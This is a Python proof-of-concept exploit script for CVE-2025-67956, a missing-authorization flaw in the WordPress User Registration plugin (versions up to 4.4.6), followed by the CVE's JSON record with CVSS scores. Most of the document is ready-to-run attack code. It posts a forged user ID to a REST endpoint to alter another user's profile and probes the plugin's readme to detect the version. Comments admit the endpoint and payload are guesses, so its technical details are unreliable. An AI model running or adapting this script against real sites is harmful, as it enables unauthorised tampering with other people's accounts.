CVE-2025-67956

# CVE-2025-67956 PoC - WordPress User Registration Broken Access Control # Affected: wpeverest User Registration <= 4.4.6 # Author: Security Researcher # Note: This PoC demonstrates the access control bypass vulnerability import requests import sys from urllib.parse import urljoin def exploit_cve_2025_67956(target_url, target_user_id, attacker_cookie=None): """ Exploit for Missing Authorization vulnerability in User Registration plugin Args: target_url: Target WordPress site URL target_user_id: ID of the user to target for unauthorized access attacker_cookie: Optional attacker cookie for authenticated attacks Returns: bool: True if exploitation appears successful, False otherwise """ # Identify User Registration plugin endpoint endpoint = urljoin(target_url, '/wp-json/ur/v1/user') # Construct malicious request with forged user ID headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': '', # May be missing or bypassable } if attacker_cookie: headers['Cookie'] = attacker_cookie # Payload to exploit broken access control payload = { 'user_id': target_user_id, 'action': 'update_profile', # Or other privileged actions 'data': { 'first_name': 'Exploited', 'last_name': 'ByAttacker' } } try: # Send malicious request response = requests.post(endpoint, json=payload, headers=headers, timeout=10) # Check for successful exploitation indicators if response.status_code == 200 and 'success' in response.text.lower(): print(f"[+] Potential exploitation successful!") print(f"[+] Target user ID: {target_user_id}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Exploitation may have failed") print(f"[-] Status code: {response.status_code}") return False except requests.RequestException as e: print(f"[!] Request failed: {e}") return False def check_version(target_url): """Check if target is running vulnerable version""" # Query plugin version from WordPress API or source code version_url = urljoin(target_url, '/wp-content/plugins/user-registration/readme.txt') try: response = requests.get(version_url, timeout=10) if response.status_code == 200: print(f"[*] Plugin readme accessible - may be vulnerable") return True except: pass return None if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <target_user_id>") print(f"Example: python {sys.argv[0]} http://example.com 1") sys.exit(1) target = sys.argv[1] user_id = sys.argv[2] print(f"[*] Checking target: {target}") check_version(target) print(f"[*] Attempting exploitation...") exploit_cve_2025_67956(target, user_id)

{"cve": {"id": "CVE-2025-67956", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:05.150", "lastModified": "2026-04-29T10:16:52.257", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in wpeverest User Registration user-registration allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Registration: from n/a through <= 4.4.6."}, {"lang": "es", "value": "Vulnerabilidad de Autorización faltante en wpeverest User Registration user-registration permite Explotar Niveles de Seguridad de Control de Acceso Mal Configurados. Este problema afecta a User Registration: desde n/a hasta &lt;= 4.4.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/user-registration/vulnerability/wordpress-user-registration-plugin-4-4-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}